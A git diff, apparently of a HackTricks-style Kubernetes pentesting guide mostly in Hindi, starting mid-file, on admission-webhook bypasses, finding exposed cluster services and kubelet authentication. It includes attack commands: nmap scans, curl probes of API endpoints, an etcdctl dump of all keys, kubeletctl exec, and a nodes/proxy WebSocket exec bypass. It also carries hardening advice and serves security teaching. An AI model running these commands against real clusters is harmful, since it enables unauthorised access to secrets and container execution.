सकें Other common bypass or abuse patterns: -- एक `objectSelector` जो users को अपने objects पर खुद का opt-out label जोड़ने की अनुमति देता है। -- security-critical validation पर `failurePolicy: Ignore`, खासकर जब webhook Service के पास endpoints नहीं हैं या networking unreliable है। -- users, groups, service accounts, namespaces, या roles के लिए policy engine exceptions जो intended scope से अधिक broad हों। -- workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, या update operations के लिए missing coverage। +- एक `objectSelector` जो users को अपने objects पर opt-out label जोड़ने की अनुमति देता है। +- security-critical validation पर `failurePolicy: Ignore`, खासकर जब webhook Service के पास endpoints न हों या networking unreliable हो। +- users, groups, service accounts, namespaces, या roles के लिए policy engine exceptions जो intended से ज़्यादा broad हों। +- workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, या update operations के लिए coverage missing होना। - `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, या exception resources पर write access। -- एक malicious mutating webhook जो containers inject करता है, images बदलता है, secrets mount करता है, tolerations जोड़ता है, या validation से पहले service account selection बदलता है। +- एक malicious mutating webhook जो validation से पहले containers inject करता है, images बदलता है, secrets mount करता है, tolerations जोड़ता है, या service account selection बदलता है। -याद रखें कि admission केवल उन requests को protect करता है जो API server admission chain से गुजरती हैं। Static Pods, node-local runtime socket access, direct kubelet abuse, और direct etcd access अलग trust paths हैं और इनके लिए अलग hardening और monitoring की जरूरत होती है। +याद रखें कि admission केवल उन requests को protect करता है जो API server admission chain से pass होती हैं। Static Pods, node-local runtime socket access, direct kubelet abuse, और direct etcd access अलग trust paths हैं और उनके लिए अलग hardening और monitoring की जरूरत होती है। {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/ - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/) - [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/) - [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) +- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/) +- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md index a2eb0abe6..28a67d2b4 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md @@ -2,33 +2,33 @@ {{#include ../../../banners/hacktricks-training.md}} -Kubernetes कई **specific network services** का उपयोग करता है, जो आपको **Internet पर exposed** या **internal network में** तब मिल सकते हैं जब आपने एक pod compromise कर लिया हो। +Kubernetes कई **specific network services** का उपयोग करता है जो आपको **Internet पर exposed** या **internal network में** मिल सकते हैं, जब आप एक pod compromise कर लेते हैं। -## OSINT के साथ exposed pods ढूँढना +## OSINT से exposed pods ढूँढना -एक तरीका `Identity LIKE "k8s.%.com"` को [crt.sh](https://crt.sh) में search करना हो सकता है, ताकि kubernetes से संबंधित subdomains मिल सकें। दूसरा तरीका github में `"k8s.%.com"` search करना और उस string वाले **YAML files** ढूँढना हो सकता है। +एक तरीका `crt.sh` में `Identity LIKE "k8s.%.com"` खोजकर Kubernetes से संबंधित subdomains ढूँढना हो सकता है। दूसरा तरीका github में `"k8s.%.com"` खोजकर उस string वाली **YAML files** ढूँढना हो सकता है। Scanning से पहले correlate करने के लिए उपयोगी external recon signals: - DNS और certificate transparency names जिनमें `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, या region names हों। -- Cloud load balancer names, CNAMEs, tags, और provider hostnames, जो किसी exposed application या platform UI को cluster से जोड़ सकते हैं। -- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, और documentation, जो kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, या dashboard settings leak करते हों। +- Cloud load balancer names, CNAMEs, tags, और provider hostnames जो exposed application या platform UI को किसी cluster से जोड़ सकते हैं। +- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, और documentation जो kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, या dashboard settings leak करते हों। - Managed Kubernetes inventory, जब cloud credentials scope में हों: EKS endpoint public/private access और public CIDRs, GKE public/private control-plane settings और authorized networks, तथा AKS private cluster/API server authorized IP settings। - Cluster के आसपास exposed platform tools जैसे Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, और ingress-controller admin या metrics endpoints। -इन्हें attribution और prioritization clues की तरह समझें। एक public Ingress application कई clusters में normal है, जबकि exposed kubelet, etcd, dashboard, CI/CD deploy control, या leaked kubeconfig material को बहुत अधिक priority देनी चाहिए। +इन्हें attribution और prioritization clues की तरह मानें। Public Ingress application कई clusters में सामान्य है, जबकि exposed kubelet, etcd, dashboard, CI/CD deploy control, या leaked kubeconfig material को बहुत अधिक priority देनी चाहिए। -## Kubernetes Services को कैसे Expose करता है +## Kubernetes Services कैसे Expose करता है -Services को publicly expose करने के तरीके समझना आपके लिए useful हो सकता है, ताकि आप उन्हें ढूँढ सकें: +आपके लिए यह समझना उपयोगी हो सकता है कि Kubernetes services को **publicly expose** कैसे कर सकता है, ताकि आप उन्हें ढूँढ सकें: {{#ref}} ../exposing-services-in-kubernetes.md {{#endref}} -## Port scanning के जरिए exposed pods ढूँढना +## Port scanning से exposed pods ढूँढना -Kubernetes cluster में निम्न ports open हो सकते हैं: +Kubernetes cluster में निम्न ports खुले हो सकते हैं: | Port | Process | Description | | --------------- | -------------- | ---------------------------------------------------------------------- | @@ -53,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678 ``` ### Kube-apiserver -यह **API Kubernetes सेवा** है जिससे administrators आमतौर पर **`kubectl`** tool का उपयोग करके बात करते हैं। +यह **API Kubernetes service** है जिससे administrators आमतौर पर **`kubectl`** tool का उपयोग करके बात करते हैं। **Common ports: 6443 and 443**, लेकिन minikube में 8443 और insecure के रूप में 8080 भी। ```bash @@ -61,7 +61,7 @@ curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 ``` -**इस पेज को देखें ताकि यह सीख सकें कि इस service से बात करके sensitive data कैसे प्राप्त करें और sensitive actions कैसे perform करें:** +**इस पेज को देखें ताकि आप जान सकें कि इस service से बात करके sensitive data कैसे प्राप्त करें और sensitive actions कैसे perform करें:** {{#ref}} ../kubernetes-enumeration.md @@ -69,18 +69,18 @@ curl -k https://:(8|6)443/api/v1 ### Kubelet API -यह service **cluster के हर node पर run करती है**। यह वह service है जो **node** के अंदर के pods को **control** करेगी। यह **kube-apiserver** से बात करती है। +यह service **cluster के हर node में run होती है**। यह वह service है जो **node** के अंदर मौजूद pods को **control** करती है। यह **kube-apiserver** से बात करती है। -अगर आपको यह service exposed मिलती है, तो आपने शायद एक **unauthenticated RCE** पाया है। +अगर आपको यह service exposed मिलती है, तो हो सकता है कि आपको एक **unauthenticated RCE** मिल गया हो। #### Kubelet API ```bash curl -k https://:10250/metrics curl -k https://:10250/pods ``` -यदि response `Unauthorized` है, तो इसके लिए authentication की आवश्यकता है। +यदि प्रतिक्रिया `Unauthorized` है तो इसके लिए authentication आवश्यक है। -यदि आप nodes की सूची बना सकते हैं, तो आप kubelets endpoints की सूची इस तरह प्राप्त कर सकते हैं: +यदि आप nodes list कर सकते हैं, तो आप kubelets endpoints की एक list इस तरह प्राप्त कर सकते हैं: ```bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') @@ -108,19 +108,19 @@ helm --host tiller-deploy.kube-system:44134 version ### cAdvisor -metrics इकट्ठा करने के लिए उपयोगी service. +metrics gather करने के लिए उपयोगी service। ```bash curl -k https://:4194 ``` ### NodePort -जब किसी पोर्ट को **NodePort** के जरिए सभी nodes पर expose किया जाता है, तो वही पोर्ट सभी nodes पर खुल जाता है और traffic को घोषित **Service** में proxify करता है। डिफ़ॉल्ट रूप से यह पोर्ट **range 30000-32767** में होगा। इसलिए नए unchecked services इन ports के जरिए accessible हो सकते हैं। +जब किसी port को सभी nodes में एक **NodePort** के जरिए expose किया जाता है, तो वही port सभी nodes पर खुल जाता है और traffic को घोषित **Service** की ओर proxify करता है। डिफ़ॉल्ट रूप से यह port **range 30000-32767** में होगा। इसलिए नए unchecked services इन ports के माध्यम से accessible हो सकते हैं। ```bash sudo nmap -sS -p 30000-32767 ``` -### सर्विस mesh और proxy surfaces +### Service mesh and proxy surfaces -Clusters जो **Istio, Linkerd, Cilium service mesh, or Envoy-based gateways** का उपयोग करते हैं, enumerate करने के लिए एक और service layer जोड़ते हैं। एक mesh mTLS, workload identity, L7 routing, authorization policy, telemetry, और gateway/egress controls दे सकता है, लेकिन यह केवल उस traffic को protect करता है जो वास्तव में mesh में enrolled और intercepted है। +**Istio, Linkerd, Cilium service mesh, या Envoy-based gateways** का उपयोग करने वाले clusters enumerate करने के लिए एक और service layer जोड़ते हैं। एक mesh mTLS, workload identity, L7 routing, authorization policy, telemetry, और gateway/egress controls दे सकता है, लेकिन यह केवल उसी traffic की protection करता है जो वास्तव में mesh में enrolled है और जिसके traffic को intercept किया गया है। Kubernetes access से उपयोगी checks: ```bash @@ -132,44 +132,54 @@ kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana| ``` Review: -- Injection से opt out किए गए Namespaces या workloads, फिर भी proxy के बिना चलते हैं, या injection सक्षम होने से पहले बनाए गए थे। +- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled. - mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources. -- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, और egress resources. -- Linkerd policy resources, identity, Server/authorization objects, और exposed `linkerd-viz`, tap, या metrics surfaces. -- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, और Envoy integration points. -- Envoy admin, config dump, stats, metrics, tracing, dashboard, और debug endpoints. ये routes, upstreams, certificates, identity, और traffic state को leak कर सकते हैं यदि बहुत व्यापक रूप से exposed हों। +- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources. +- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces. +- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points. +- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly. -service mesh को Kubernetes RBAC या NetworkPolicies का replacement न मानें। एक mesh policy HTTP request को block कर सकती है, लेकिन unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, या missing NetworkPolicy फिर भी एक practical route छोड़ सकते हैं। +Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route. ## Vulnerable Misconfigurations ### Kube-apiserver Anonymous Access -Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: +Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials. ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) -### **Checking for ETCD Anonymous Access** +Useful checks: +```bash +APISERVER='https://:6443' +curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez" +curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz" +curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces" +curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles" +``` +यदि resource APIs `403` return करते हैं, तो API server ने request को `system:anonymous` के रूप में classify किया हो सकता है लेकिन authorization ने उसे block कर दिया। यदि resource APIs बिना credentials के `200` return करते हैं, तो `system:anonymous` या `system:unauthenticated` के लिए RoleBindings या ClusterRoleBindings, permissive authorizer-chain configuration, या front-door authentication mistake देखें। -ETCD cluster secrets, configuration files और अन्य **sensitive data** store करता है। **By default**, ETCD को **anonymously** access **नहीं** किया जा सकता, लेकिन फिर भी इसे check करना हमेशा अच्छा है। +### **ETCD Anonymous Access की जांच करना** -If ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: +ETCD cluster secrets, configuration files और अन्य **sensitive data** को store करता है। **By default**, ETCD को **anonymously** access **नहीं** किया जा सकता, लेकिन हमेशा जांचना अच्छा होता है। + +यदि ETCD को anonymously access किया जा सकता है, तो आपको [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** का **use** करना पड़ सकता है। निम्न command stored सभी keys प्राप्त करेगी: ```bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only ``` ### **Kubelet RCE** -[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) बताती है कि **default** रूप से सेवा तक **anonymous access** **allowed** है: +[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) बताती है कि **default** रूप से service तक anonymous access **allowed** है: -> Kubelet server पर anonymous requests सक्षम करता है। जो requests किसी अन्य authentication method द्वारा rejected नहीं होतीं, उन्हें anonymous requests माना जाता है। Anonymous requests का username `system:anonymous` और group name `system:unauthenticated` होता है +> Kubelet server पर anonymous requests को सक्षम करता है। जो requests किसी अन्य authentication method द्वारा reject नहीं की जातीं, उन्हें anonymous requests माना जाता है। Anonymous requests का username `system:anonymous` होता है, और group name `system:unauthenticated` होता है -**Kubelet API की authentication and authorization** कैसे काम करती है, इसे बेहतर समझने के लिए यह पेज देखें: +**Kubelet API की authentication and authorization कैसे काम करती है** इसे बेहतर समझने के लिए यह page देखें: {{#ref}} kubelet-authentication-and-authorization.md {{#endref}} -**Kubelet** service **API is not documented**, लेकिन source code यहाँ मिल सकता है और exposed endpoints ढूँढना बस **running** जितना आसान है: +**Kubelet** service का **API documented नहीं है**, लेकिन source code यहां मिल सकता है और exposed endpoints ढूंढना उतना ही आसान है जितना **running**: ```bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -181,13 +191,13 @@ Path("/portForward") Path("/containerLogs") Path("/runningpods/"). ``` -वे सभी दिलचस्प लगते हैं। +सभी दिलचस्प लगते हैं। -आप [**Kubeletctl**](https://github.com/cyberark/kubeletctl) टूल का उपयोग करके Kubelets और उनके endpoints के साथ interact कर सकते हैं। +आप [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool का उपयोग Kubelets और उनके endpoints के साथ interact करने के लिए कर सकते हैं। #### /pods -यह endpoint pods और उनके containers की list देता है: +यह endpoint pods और उनके containers की list करता है: ```bash kubeletctl pods ``` @@ -198,13 +208,13 @@ kubeletctl pods kubeletctl exec [command] ``` > [!NOTE] -> इस हमले से बचने के लिए _**kubelet**_ सेवा को `--anonymous-auth false` के साथ चलाया जाना चाहिए और सेवा को network level पर segregate किया जाना चाहिए। +> इस attack से बचने के लिए _**kubelet**_ service को `--anonymous-auth false` के साथ run करना चाहिए और service को network level पर segregate करना चाहिए। ### **Kubelet (Read Only Port) Information Exposure की जांच** -जब एक **kubelet read-only port** exposed होता है, तो unauthorized parties के लिए API से information retrieve करना संभव हो जाता है। इस port का exposure विभिन्न **cluster configuration elements** के disclosure का कारण बन सकता है। हालांकि **pod names, internal files के locations, और other configurations** जैसी information critical न भी हो, फिर भी इसका exposure security risk पैदा करता है और इससे बचना चाहिए। +जब एक **kubelet read-only port** exposed होता है, तो unauthorized parties के लिए API से information retrieve करना possible हो जाता है। इस port का exposure विभिन्न **cluster configuration elements** के disclosure तक ले जा सकता है। हालांकि **pod names, internal files के locations, और अन्य configurations** जैसी information critical नहीं हो सकती, फिर भी इसका exposure security risk पैदा करता है और इससे बचना चाहिए। -इस vulnerability का exploitation करने का एक उदाहरण remote attacker द्वारा एक specific URL access करना है। `http://:10255/pods` पर जाकर, attacker kubelet से sensitive information संभावित रूप से retrieve कर सकता है: +इस vulnerability का exploit करने का एक example एक remote attacker द्वारा specific URL access करना है। `http://:10255/pods` पर जाने से attacker potentially kubelet से sensitive information retrieve कर सकता है: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index 2d0958838..134b5a009 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Kubelet प्रमाणीकरण और प्राधिकरण +# Kubelet Authentication & Authorization {{#include ../../../banners/hacktricks-training.md}} -## Kubelet प्रमाणीकरण +## Kubelet Authentication -[**डॉक्स से:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -डिफ़ॉल्ट रूप से, kubelet के HTTPS endpoint पर आने वाले वे अनुरोध जो अन्य कॉन्फ़िगर किए गए प्रमाणीकरण विधियों द्वारा अस्वीकार नहीं किए जाते, उन्हें anonymous अनुरोध माना जाता है, और उन्हें दिया जाता है **username of `system:anonymous`** और **group of `system:unauthenticated`**। +By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**. -प्रमाणीकरण के **3** **तरीके** हैं: +The **3** authentication **methods** are: -- **Anonymous** (डिफ़ॉल्ट): पैरामीटर सेट करने के लिए उपयोग करें **`--anonymous-auth=true` या config:** +- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:** ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: यह kubectl **API bearer tokens** को authorization के रूप में सक्षम करेगा (कोई भी वैध token मान्य होगा)। इसे अनुमति दें: -- सुनिश्चित करें कि `authentication.k8s.io/v1beta1` API group API server में सक्षम है -- kubelet को **`--authentication-token-webhook`** और **`--kubeconfig`** flags के साथ शुरू करें या निम्नलिखित setting का उपयोग करें: +- **Webhook**: यह kubectl **API bearer tokens** को authorization के रूप में **enable** करेगा (कोई भी valid token valid होगा)। इसे इस तरह allow करें: +- सुनिश्चित करें कि API server में `authentication.k8s.io/v1beta1` API group enabled है +- kubelet को **`--authentication-token-webhook`** और **`--kubeconfig`** flags के साथ start करें या निम्न setting का उपयोग करें: ```json "authentication": { "webhook": { @@ -28,10 +28,11 @@ }, ``` > [!NOTE] -> kubelet कॉन्फ़िगर किए गए API सर्वर पर **`TokenReview` API** को कॉल करके bearer tokens से **उपयोगकर्ता जानकारी निर्धारित** करता है -- **X509 client certificates:** X509 client certs के माध्यम से प्रमाणीकृत करने की अनुमति देते हैं -- अधिक जानकारी के लिए [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) देखें -- kubelet को `--client-ca-file` फ्लैग के साथ शुरू करें, client certificates को सत्यापित करने के लिए एक CA bundle प्रदान करते हुए। या config के साथ: +> kubelet कॉन्फ़िगर किए गए API server पर **`TokenReview` API** को कॉल करता है ताकि bearer tokens से **user information** निर्धारित की जा सके + +- **X509 client certificates:** X509 client certs के माध्यम से authenticate करने की अनुमति देते हैं +- अधिक विवरण के लिए [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) देखें +- kubelet को `--client-ca-file` flag के साथ start करें, client certificates को verify करने के लिए एक CA bundle provide करते हुए। या config के साथ: ```json "authentication": { "x509": { @@ -41,14 +42,14 @@ ``` ## Kubelet Authorization -किसी भी अनुरोध जो सफलतापूर्वक प्रमाणीकृत हो (जिसमें अनाम अनुरोध भी शामिल है) **फिर अनुमोदित किया जाता है**। डिफ़ॉल्ट authorization मोड **`AlwaysAllow`** है, जो **सभी अनुरोधों की अनुमति देता है**। +कोई भी request जो सफलतापूर्वक authenticated होती है (including an anonymous request) **फिर authorized** होती है। **default** authorization mode **`AlwaysAllow`** है, जो **सभी requests को allow** करता है। -हालाँकि, दूसरा संभावित मान **`webhook`** है (जो आप वहां **अधिकतर पाएँगे**)। यह मोड किसी क्रिया को अनुमति देने या अस्वीकार करने के लिए **प्रमाणीकृत उपयोगकर्ता की अनुमतियों** की जाँच करेगा। +हालाँकि, दूसरा possible value **`webhook`** है (जो आपको **mostly out there** मिलेगा)। यह mode **authenticated user की permissions** को check करेगा ताकि किसी action को allow या disallow किया जा सके। > [!WARNING] -> ध्यान दें कि भले ही **अनाम प्रमाणीकरण सक्षम** हो, **अनाम पहुँच** के पास किसी भी क्रिया को करने की **अनुमतियाँ नहीं हो सकतीं**। +> ध्यान दें कि भले ही **anonymous authentication enabled** हो, **anonymous access** के पास किसी भी action को perform करने के लिए **कोई permissions नहीं** हो सकतीं। -Webhook के माध्यम से authorization को कॉन्फ़िगर किया जा सकता है **param `--authorization-mode=Webhook`** का उपयोग करके या config फ़ाइल के माध्यम से: +The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with: ```json "authorization": { "mode": "Webhook", @@ -58,9 +59,9 @@ Webhook के माध्यम से authorization को कॉन्फ़ } }, ``` -The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **निर्धारित** whether each request is **अधिकृत।** +The kubelet **`SubjectAccessReview`** API को configured API server पर कॉल करता है ताकि **determine** किया जा सके कि हर request **authorized** है या नहीं। -The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver: +kubelet API requests को apiserver की तरह ही [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach से authorize करता है: - **Action** @@ -70,33 +71,48 @@ The kubelet authorizes API requests using the same [request attributes](https:// | GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (for individual resources), deletecollection (for collections) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path: +- Kubelet api से बात करने वाला **resource** हमेशा **nodes** होता है और **subresource** incoming request के path से **determined** होता है: | Kubelet API | resource | subresource | | ------------ | -------- | ----------- | -| /stats/* | nodes | stats | -| /metrics/* | nodes | metrics | -| /logs/* | nodes | log | -| /spec/* | nodes | spec | +| /stats/\* | nodes | stats | +| /metrics/\* | nodes | metrics | +| /logs/\* | nodes | log | +| /spec/\* | nodes | spec | +| /checkpoint/\* | nodes | checkpoint | | _all others_ | nodes | proxy | -> [!NOTE] -> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. +Modern clusters में, fine-grained kubelet authorization by default enabled होता है। Kubernetes v1.36 ने इसे stable बनाया: kubelet पहले `/pods`, `/runningPods`, `/healthz`, और `/configz` जैसे paths के लिए more specific subresources check करता है, फिर backward compatibility के लिए `nodes/proxy` पर fallback करता है। -For example, the following request tried to access the pods info of kubelet without permission: +| Kubelet API | preferred subresource | fallback | +| ----------- | --------------------- | -------- | +| /pods | nodes/pods | nodes/proxy | +| /runningPods/ | nodes/pods | nodes/proxy | +| /healthz | nodes/healthz | nodes/proxy | +| /configz | nodes/configz | nodes/proxy | + +Monitoring और diagnostics के लिए, जहाँ possible हो, इन narrower subresources का उपयोग करें। Ordinary metrics, stats, health, pod-listing, या config review के लिए broad `nodes/proxy` देना avoid करें, क्योंकि `nodes/proxy` अभी भी higher-impact kubelet APIs को cover करता है। + +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, और `/portforward` default **proxy** subresource में आते हैं और initial HTTP **GET** handshake का उपयोग करके authorized होते हैं। केवल `nodes/proxy` **GET** वाला principal भी containers में exec कर सकता है अगर वह सीधे `https://:10250` पर WebSockets के जरिए connect करे। Details के लिए [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) देखें। + +kubelet Checkpoint API (`POST /checkpoint///`) भी एक और sensitive kubelet surface है। Kubernetes v1.30 ने container checkpointing को beta बनाया और default रूप से enable किया, लेकिन request अभी भी kubelet authorization और runtime support जैसे CRI-O या containerd with checkpoint/CRIU capability पर निर्भर करती है। Successful checkpoints kubelet root directory के नीचे लिखे जाते हैं, default `/var/lib/kubelet/checkpoints`, और इनमें process memory हो सकती है जिसमें tokens, keys, या application secrets शामिल हों। `nodes/checkpoint` restrict करें, पुराने read-only port को disable करें, direct kubelet network reachability सीमित करें, और अगर feature intentionally use किया जा रहा है तो checkpoint archives को monitor या clean करें। + +उदाहरण के लिए, निम्न request ने बिना permission kubelet की pods info access करने की कोशिश की: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- हमें **Forbidden** मिला, इसलिए अनुरोध **Authentication check** पास कर गया। अगर ऐसा नहीं होता, तो हमें सिर्फ `Unauthorised` संदेश मिलता। -- हम **username** देख सकते हैं (इस मामले में token से) -- देखें कि **resource** कैसे **nodes** था और **subresource** **proxy** था (जो पिछली जानकारी से मेल खाता है) +- हमें एक **Forbidden** मिला, इसलिए request **Authentication check** पास कर चुकी थी। अगर ऐसा न होता, तो हमें सिर्फ `Unauthorised` message मिलता। +- हम **username** देख सकते हैं (इस case में token से) +- देखें कि **resource** **nodes** था और **subresource** **proxy** था (जो पिछली जानकारी के साथ logical है) -## संदर्भ +## References - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/) - [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}